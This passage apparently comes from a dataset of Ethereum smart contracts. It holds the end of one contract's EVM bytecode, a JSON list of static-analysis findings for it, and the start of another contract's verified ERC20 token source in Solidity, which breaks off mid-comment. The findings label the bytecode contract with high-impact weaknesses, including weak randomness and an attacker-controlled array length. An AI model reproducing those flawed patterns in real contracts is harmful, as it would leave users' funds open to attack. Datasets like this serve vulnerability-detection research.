9054906101000a900460ff169050919050565b600080600360008581526020019081526020016000206004015490506000600360008681526020019081526020016000206005015490506000600360008781526020019081526020016000206003015490506000806005600089815260200190815260200160002060008860ff1660ff1681526020019081526020016000206004015411801561161e57504261161c85600560008b815260200190815260200160002060008a60ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b105b156117b35760008461167861166987600560008d815260200190815260200160002060008c60ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b42614d7f90919063ffffffff16565b81151561168157fe5b0490506000856116d96116ca88600560008e815260200190815260200160002060008d60ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b42614d7f90919063ffffffff16565b8115156116e257fe5b061115611700576116fd600182614cf790919063ffffffff16565b90505b60008090505b818110156117ac57806000141561177d5761271061176c8661175e87600560008f815260200190815260200160002060008e60ff1660ff16815260200190815260200160002060030154614e0490919063ffffffff16565b614e0490919063ffffffff16565b81151561177557fe5b04925061179f565b60646117928685614e0490919063ffffffff16565b81151561179b57fe5b0492505b8080600101915050611706565b505061186e565b60006005600089815260200190815260200160002060008860ff1660ff16815260200190815260200160002060040154111561183c57606461182b83600560008b815260200190815260200160002060008a60ff1660ff16815260200190815260200160002060030154614e0490919063ffffffff16565b81151561183457fe5b04905061186d565b6005600088815260200190815260200160002060008760ff1660ff1681526020019081526020016000206002015490505b5b8094505050505092915050565b60008060026000848152602001908152602001600020600401541180156118b75750426002600084815260200190815260200160002060040154115b156118ec576118e5426002600085815260200190815260200160002060040154614d7f90919063ffffffff16565b90506118f1565b600090505b919050565b6000806000806002600086815260200190815260200160002060040154600260008781526020019081526020016000206005015442600260008981526020019081526020016000206007015493509350935093509193509193565b600060026000838152602001908152602001600020600101549050919050565b6000806005600085815260200190815260200160002060008460ff1660ff1681526020019081526020016000206004015411905092915050565b6000806005600085815260200190815260200160002060008460ff1660ff1681526020019081526020016000206009015414156119eb5760009050611a5a565b60006003600085815260200190815260200160002060020154905042611a47826005600088815260200190815260200160002060008760ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b10611a53576001611a56565b60005b9150505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b1a57600080fd5b505afa158015611b2e573d6000803e3d6000fd5b505050506040513d6020811015611b4457600080fd5b81019080805190602001909291905050501515611b6057600080fd5b8460006002600083815260200190815260200160002060040154141515611b8657600080fd5b84600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639b8831df826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015611c1657600080fd5b505afa158015611c2a573d6000803e3d6000fd5b505050506040513d6020811015611c4057600080fd5b81019080805190602001909291905050501515611c5c57600080fd5b60028560ff1610158015611c7457506101008560ff16105b8015611c805750600084115b8015611c9a575060008560ff1685811515611c9757fe5b06145b8015611ca65750600083115b8015611cb157504283115b1515611cbc57600080fd5b610100604051908101604052808881526020018781526020018660ff168152602001611cf2600187614e0490919063ffffffff16565b815260200184815260200160008152602001600015158152602001600060010281525060026000898152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff021916908360ff160217905550606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555060e082015181600701559050507f52e094675af709ffc7f01557775368f5e906d4dbb9b60ddb47923cd4fe8eadb487878787876000604051808781526020018681526020018560ff1660ff16815260200184815260200183815260200182151515158152602001965050505050505060405180910390a1611e1d878587614ea8565b50505050505050565b6000611e30614fa9565b611e38614fcc565b6000600260008681526020019081526020016000206005015414151515611e5e57600080fd5b611e66614fcc565b3073ffffffffffffffffffffffffffffffffffffffff1663f5fc32c88660026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1681526020019250505060606040518083038186803b158015611edf57600080fd5b505afa158015611ef3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506060811015611f1857600080fd5b8101908091905050905060006064611f62836000600381101515611f3857fe5b602002015160ff16600460008a815260200190815260200160002054614e0490919063ffffffff16565b811515611f6b57fe5b04905060006064611fae846001600381101515611f8457fe5b602002015160ff16600460008b815260200190815260200160002054614e0490919063ffffffff16565b811515611fb757fe5b04905060006064611ffa856002600381101515611fd057fe5b602002015160ff16600460008c815260200190815260200160002054614e0490919063ffffffff16565b81151561200357fe5b04905061200e614fa9565b606060405190810160405280858152602001848152602001838152509050600460008a815260200190815260200160002054818697509750975050505050509193909250565b600060026000838152602001908152602001600020600301549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561212e57600080fd5b505afa158015612142573d6000803e3d6000fd5b505050506040513d602081101561215857600080fd5b8101908080519060200190929190505050151561217457600080fd5b89600060026000838152602001908152602001600020600401541415151561219b57600080fd5b60008a60ff161180156121ae5750600089115b80156121ba5750600088115b80156121c65750600087115b80156121d25750600086115b80156121de5750600085115b80156121e957508786115b15156121f457600080fd5b600084600060038110151561220557fe5b602002013560ff1660ff161180156122365750600084600160038110151561222957fe5b602002013560ff1660ff16115b801561225b5750600084600260038110151561224e57fe5b602002013560ff1660ff16115b80156122805750600083600060038110151561227357fe5b602002013560ff1660ff16115b80156122a55750600083600160038110151561229857fe5b602002013560ff1660ff16115b80156122ca575060008360026003811015156122bd57fe5b602002013560ff1660ff16115b80156122ef575060008260006003811015156122e257fe5b602002013560ff1660ff16115b80156123145750600082600160038110151561230757fe5b602002013560ff1660ff16115b80156123395750600082600260038110151561232c57fe5b602002013560ff1660ff16115b151561234457600080fd5b610120604051908101604052808b60ff16815260200161236e60018c614e0490919063ffffffff16565b815260200161238760018b614e0490919063ffffffff16565b81526020018881526020016123a6600189614e0490919063ffffffff16565b8152602001868152602001856003806020026040519081016040528092919082600360200280828437600081840152601f19601f8201169050808301925050505050508152602001846003806020026040519081016040528092919082600360200280828437600081840152601f19601f8201169050808301925050505050508152602001836003806020026040519081016040528092919082600360200280828437600081840152601f19601f820116905080830192505050505050815250600360008d815260200190815260200160002060008201518160000160006101000a81548160ff021916908360ff1602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006019060036124e3929190614fef565b5060e0820151816007019060036124fb929190614fef565b5061010082015181600801906003612514929190614fef565b509050505050505050505050505050565b600060076000848152602001908152602001600020805490506000141561254f57600090506125c6565b600080905060008090505b60076000868152602001908152602001600020805490508110156125c05783600760008781526020019081526020016000208281548110151561259957fe5b906000526020600020015414156125b357600191506125c0565b808060010191505061255a565b50809150505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561268657600080fd5b505afa15801561269a573d6000803e3d6000fd5b505050506040513d60208110156126b057600080fd5b810190808051906020019092919050505015156126cc57600080fd5b60006002600083815260200190815260200160002060060160006101000a81548160ff02191690831515021790555050565b600080600190506000600190505b6002600086815260200190815260200160002060020160009054906101000a900460ff1660ff168160ff1611151561278a57836005600087815260200190815260200160002060008360ff1660ff1681526020019081526020016000206008015414151561277d576000915061278a565b808060010191505061270c565b819250505092915050565b6000806005600085815260200190815260200160002060008460ff1660ff1681526020019081526020016000206009015414156127d55760009050612912565b6000600360008581526020019081526020016000206004015490506000816128336005600088815260200190815260200160002060008760ff1660ff1681526020019081526020016000206009015442614d7f90919063ffffffff16565b81151561283c57fe5b0490506000826128826005600089815260200190815260200160002060008860ff1660ff1681526020019081526020016000206009015442614d7f90919063ffffffff16565b81151561288b57fe5b0611156128a9576128a6600182614cf790919063ffffffff16565b90505b61290d426128ff6128c38486614e0490919063ffffffff16565b600560008a815260200190815260200160002060008960ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b614d7f90919063ffffffff16565b925050505b92915050565b60008060008060006002600087815260200190815260200160002060020160009054906101000a900460ff1660026000888152602001908152602001600020600301546002600089815260200190815260200160002060040154600260008a815260200190815260200160002060050154600260008b815260200190815260200160002060060160009054906101000a900460ff169450945094509450945091939590929450565b60006002600083815260200190815260200160002060020160009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612aa757600080fd5b505afa158015612abb573d6000803e3d6000fd5b505050506040513d6020811015612ad157600080fd5b81019080805190602001909291905050501515612aed57600080fd5b612b13816004600085815260200190815260200160002054614cf790919063ffffffff16565b60046000848152602001908152602001600020819055507fa4f65e62a73ab33c568b9fba8b7a2beae03dc31a67c80d3acde94f8d59f3d56e8282604051808381526020018281526020019250505060405180910390a15050565b606060076000838152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015612bcc57602002820191906000526020600020905b815481526020019060010190808311612bb8575b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612c9257600080fd5b505afa158015612ca6573d6000803e3d6000fd5b505050506040513d6020811015612cbc57600080fd5b81019080805190602001909291905050501515612cd857600080fd5b4260026000848152602001908152602001600020600501819055508060026000848152602001908152602001600020600701819055507f67d5c61c8a9ef4c1487dfcd790b2cd099242b0961888e8349fd0056c34a7aacd82824260405180848152602001838152602001828152602001935050505060405180910390a15050565b6000808260ff16118015612d9657506002600084815260200190815260200160002060020160009054906101000a900460ff1660ff168260ff1611155b905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612e5857600080fd5b505afa158015612e6c573d6000803e3d6000fd5b505050506040513d6020811015612e8257600080fd5b81019080805190602001909291905050501515612e9e57600080fd5b600015153073ffffffffffffffffffffffffffffffffffffffff166334f245c284846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015612f1757600080fd5b505afa158015612f2b573d6000803e3d6000fd5b505050506040513d6020811015612f4157600080fd5b810190808051906020019092919050505015151415612fd757600760008381526020019081526020016000208190806001815401808255809150509060018203906000526020600020016000909192909190915055507f22cbd0e396146c103e9b4a1def79defc70407d703e8766cc9924ee136ed79e368282604051808381526020018281526020019250505060405180910390a15b5050565b600042600260008481526020019081526020016000206004015411159050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156130b857600080fd5b505afa1580156130cc573d6000803e3d6000fd5b505050506040513d60208110156130e257600080fd5b810190808051906020019092919050505015156130fe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156131685750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b151561317357600080fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd69bedce2d54897893feb804cd08687c76d5382142144f5a1be7cd13b441942a60405160405180910390a35050565b60006005600084815260200190815260200160002060008360ff1660ff16815260200190815260200160002060030154905092915050565b60006005600084815260200190815260200160002060008360ff1660ff16815260200190815260200160002060080154905092915050565b600060036000838152602001908152602001600020600101549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561339c57600080fd5b505afa1580156133b0573d6000803e3d6000fd5b505050506040513d60208110156133c657600080fd5b810190808051906020019092919050505015156133e257600080fd5b806005600086815260200190815260200160002060008560ff1660ff16815260200190815260200160002060050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816005600086815260200190815260200160002060008560ff1660ff168152602001908152602001600020600701819055508073ffffffffffffffffffffffffffffffffffffffff167fffd796e328ba576f3cceea78e1d19692e7df5f235d8ee94793b3e7a4f5a8432d858585604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a23073ffffffffffffffffffffffffffffffffffffffff16639fe7ba4785846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b15801561355b57600080fd5b505af115801561356f573d6000803e3d6000fd5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561363357600080fd5b505afa158015613647573d6000803e3d6000fd5b505050506040513d602081101561365d57600080fd5b8101908080519060200190929190505050151561367957600080fd5b600015153073ffffffffffffffffffffffffffffffffffffffff1663c31028dc84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b1580156136f257600080fd5b505afa158015613706573d6000803e3d6000fd5b505050506040513d602081101561371c57600080fd5b8101908080519060200190929190505050151514156137b257600660008381526020019081526020016000208190806001815401808255809150509060018203906000526020600020016000909192909190915055507f7795fc73db1d4132d94a1fb3c6aa561c04c33bc85d36e4f376285d50145804358282604051808381526020018281526020019250505060405180910390a15b5050565b600060038360ff161080156137ce575060038260ff16105b15156137d957600080fd5b8260ff166000141561382857600360008581526020019081526020016000206006018260ff1660038110151561380b57fe5b602091828204019190069054906101000a900460ff1690506138b6565b8260ff166001141561387757600360008581526020019081526020016000206007018260ff1660038110151561385a57fe5b602091828204019190069054906101000a900460ff1690506138b6565b600360008581526020019081526020016000206008018260ff1660038110151561389d57fe5b602091828204019190069054906101000a900460ff1690505b9392505050565b60606006600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561391c57602002820191906000526020600020905b815481526020019060010190808311613908575b50505050509050919050565b613930615089565b6000806000806000905060008090506005600089815260200190815260200160002060008860ff1660ff168152602001908152602001600020600401546000141561397a57613c12565b3073ffffffffffffffffffffffffffffffffffffffff16632391f0b389896040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b1580156139f557600080fd5b505afa158015613a09573d6000803e3d6000fd5b505050506040513d6020811015613a1f57600080fd5b810190808051906020019092919050505015613a57576003600089815260200190815260200160002060020154915060019050613c11565b42613aae600360008b815260200190815260200160002060040154600560008c815260200190815260200160002060008b60ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b1115613ad25760036000898152602001908152602001600020600401549150613c0c565b6000600360008a815260200190815260200160002060040154613b2b600560008c815260200190815260200160002060008b60ff1660ff1681526020019081526020016000206009015442614d7f90919063ffffffff16565b811515613b3457fe5b0490506000600360008b815260200190815260200160002060040154613bb8613ba9600360008e815260200190815260200160002060040154600560008f815260200190815260200160002060008e60ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b42614d7f90919063ffffffff16565b811515613bc157fe5b061115613bdf57613bdc600182614cf790919063ffffffff16565b90505b613c0881600360008c815260200190815260200160002060040154614e0490919063ffffffff16565b9250505b600290505b5b60003073ffffffffffffffffffffffffffffffffffffffff16630566bc128a8a6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b158015613c8f57600080fd5b505afa158015613ca3573d6000803e3d6000fd5b505050506040513d6020811015613cb957600080fd5b810190808051906020019092919050505090506000600560008b815260200190815260200160002060008a60ff1660ff168152602001908152602001600020600801549050613d06615089565b608060405190810160405280858152602001600560008e815260200190815260200160002060008d60ff1660ff1681526020019081526020016000206009015481526020018681526020014281525090508083600560008e815260200190815260200160002060008d60ff1660ff16815260200190815260200160002060040154849850985098509850505050505092959194509250565b600080600260008481526020019081526020016000206004015414159050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166324d7806c336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015613e7b57600080fd5b505afa158015613e8f573d6000803e3d6000fd5b505050506040513d6020811015613ea557600080fd5b81019080805190602001909291905050501515613ec157600080fd5b6000600260008481526020019081526020016000206004015414158015613f0f5750600015156002600084815260200190815260200160002060060160009054906101000a900460ff161515145b1515613f1a57600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16639fee14ae846000806040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1681526020018260ff168152602001935050505060206040518083038186803b158015613fa057600080fd5b505afa158015613fb4573d6000803e3d6000fd5b505050506040513d6020811015613fca57600080fd5b810190808051906020019092919050505060ff1614151515613feb57600080fd5b600081111561401e57428111151561400257600080fd5b8060026000848152602001908152602001600020600401819055505b60016002600084815260200190815260200160002060060160006101000a81548160ff0219169083151502179055505050565b60006003600083815260200190815260200160002060000160009054906101000a900460ff1660ff169050919050565b60006005600084815260200190815260200160002060008360ff1660ff16815260200190815260200160002060020154905092915050565b60006006600084815260200190815260200160002080549050600014156140e3576000905061415a565b600080905060008090505b60066000868152602001908152602001600020805490508110156141545783600660008781526020019081526020016000208281548110151561412d57fe5b906000526020600020015414156141475760019150614154565b80806001019150506140ee565b50809150505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561421a57600080fd5b505afa15801561422e573d6000803e3d6000fd5b505050506040513d602081101561424457600080fd5b8101908080519060200190929190505050151561426057600080fd5b6142a160016005600085815260200190815260200160002060008460ff1660ff16815260200190815260200160002060040154614cf790919063ffffffff16565b6005600084815260200190815260200160002060008360ff1660ff168152602001908152602001600020600401819055507f406ffd6fc2ec33836bb046c49d9e109a5b9858c38bc9d2092b9fe05cd531ed7a8282604051808381526020018260ff1660ff1681526020019250505060405180910390a15050565b600080600260008481526020019081526020016000206005015414159050919050565b6000806000806000806005600089815260200190815260200160002060008860ff1660ff16815260200190815260200160002060040154600560008a815260200190815260200160002060008960ff1660ff16815260200190815260200160002060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560008b815260200190815260200160002060008a60ff1660ff16815260200190815260200160002060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560008c815260200190815260200160002060008b60ff1660ff16815260200190815260200160002060070154600560008d815260200190815260200160002060008c60ff1660ff16815260200190815260200160002060080154600560008e815260200190815260200160002060008d60ff1660ff168152602001908152602001600020600901548494508393509550955095509550955095509295509295509295565b600060046000838152602001908152602001600020549050919050565b6000806005600085815260200190815260200160002060008460ff1660ff1681526020019081526020016000206009015411801561456657504261456460036000868152602001908152602001600020600201546005600087815260200190815260200160002060008660ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b115b156145da576145d3426145c560036000878152602001908152602001600020600201546005600088815260200190815260200160002060008760ff1660ff16815260200190815260200160002060090154614cf790919063ffffffff16565b614d7f90919063ffffffff16565b90506145df565b600090505b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630c3f64bf336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561469f57600080fd5b505afa1580156146b3573d6000803e3d6000fd5b505050506040513d60208110156146c957600080fd5b810190808051906020019092919050505015156146e557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16630566bc1285856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff1681526020019250505060206040518083038186803b15801561476057600080fd5b505afa158015614774573d6000803e3d6000fd5b505050506040513d602081101561478a57600080fd5b81019080805190602001909291905050506005600086815260200190815260200160002060008560ff1660ff16815260200190815260200160002060030181905550816005600086815260200190815260200160002060008560ff1660ff16815260200190815260200160002060080181905550806005600086815260200190815260200160002060008560ff1660ff16815260200190815260200160002060060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426005600086815260200190815260200160002060008560ff1660ff168152602001908152602001600020600901819055508073ffffffffffffffffffffffffffffffffffffffff167ffa36638d17130f67f124672a1e8d0f6b6dd36fe1ef9feb29a38f03e84b876ad4858585604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a250505050565b61490e614fcc565b60038260ff1610151561492057600080fd5b8160ff16600014156149ab576003600084815260200190815260200160002060060160038060200260405190810160405280929190826003801561499f576020028201916000905b82829054906101000a900460ff1660ff16815260200190600101906020826000010492830192600103820291508084116149685790505b50505050509050614ab1565b8160ff1660011415614a365760036000848152602001908152602001600020600701600380602002604051908101604052809291908260038015614a2a576020028201916000905b82829054906101000a900460ff1660ff16815260200190600101906020826000010492830192600103820291508084116149f35790505b50505050509050614ab1565b60036000848152602001908152602001600020600801600380602002604051908101604052809291908260038015614aa9576020028201916000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411614a725790505b505050505090505b92915050565b6000806000614ac4614fcc565b614acc614fcc565b614ad4614fcc565b60036000888152602001908152602001600020600301546003600089815260200190815260200160002060040154600360008a815260200190815260200160002060050154600360008b8152602001908152602001600020600601600360008c8152602001908152602001600020600701600360008d815260200190815260200160002060080182600380602002604051908101604052809291908260038015614bb9576020028201916000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411614b825790505b5050505050925081600380602002604051908101604052809291908260038015614c1e576020028201916000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411614be75790505b5050505050915080600380602002604051908101604052809291908260038015614c83576020028201916000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411614c4c5790505b5050505050905095509550955095509550955091939550919395565b60006005600084815260200190815260200160002060008360ff1660ff16815260200190815260200160002060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b60008183019050828110151515614d76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820616464206661696c65640000000000000000000000000081525060200191505060405180910390fd5b80905092915050565b6000828211151515614df9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820737562206661696c65640000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b600080831415614e175760009050614ea2565b8183029050818382811515614e2857fe5b04141515614e9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d617468206d756c206661696c65640000000000000000000000000081525060200191505060405180910390fd5b8090505b92915050565b6000614ecc60018360ff1685811515614ebd57fe5b04614e0490919063ffffffff16565b90506000600190505b8260ff168160ff16111515614f5557846005600087815260200190815260200160002060008360ff1660ff16815260200190815260200160002060010181905550816005600087815260200190815260200160002060008360ff1660ff168152602001908152602001600020600201819055508080600101915050614ed5565b507f50174742660eba41a5d2b581214a3bc1b73931ceaabe84a20e1405dded7507d8848383604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a150505050565b606060405190810160405280600390602082028038833980820191505090505090565b606060405190810160405280600390602082028038833980820191505090505090565b826003601f016020900481019282156150785791602002820160005b8382111561504957835183826101000a81548160ff021916908360ff160217905550926020019260010160208160000104928301926001030261500b565b80156150765782816101000a81549060ff0219169055600101602081600001049283019260010302615049565b505b50905061508591906150ac565b5090565b608060405190810160405280600490602082028038833980820191505090505090565b6150d991905b808211156150d557600081816101000a81549060ff0219169055506001016150b2565b5090565b9056fea165627a7a72305820c22c94e154d2aa62b2d58afd7f9b3076acd7d49cf4fa8fdbaefa5b735fe9fee20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,528 |
0xe79a09bf88bc17eca3488e8c12c5172b0212d24f
|
/**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
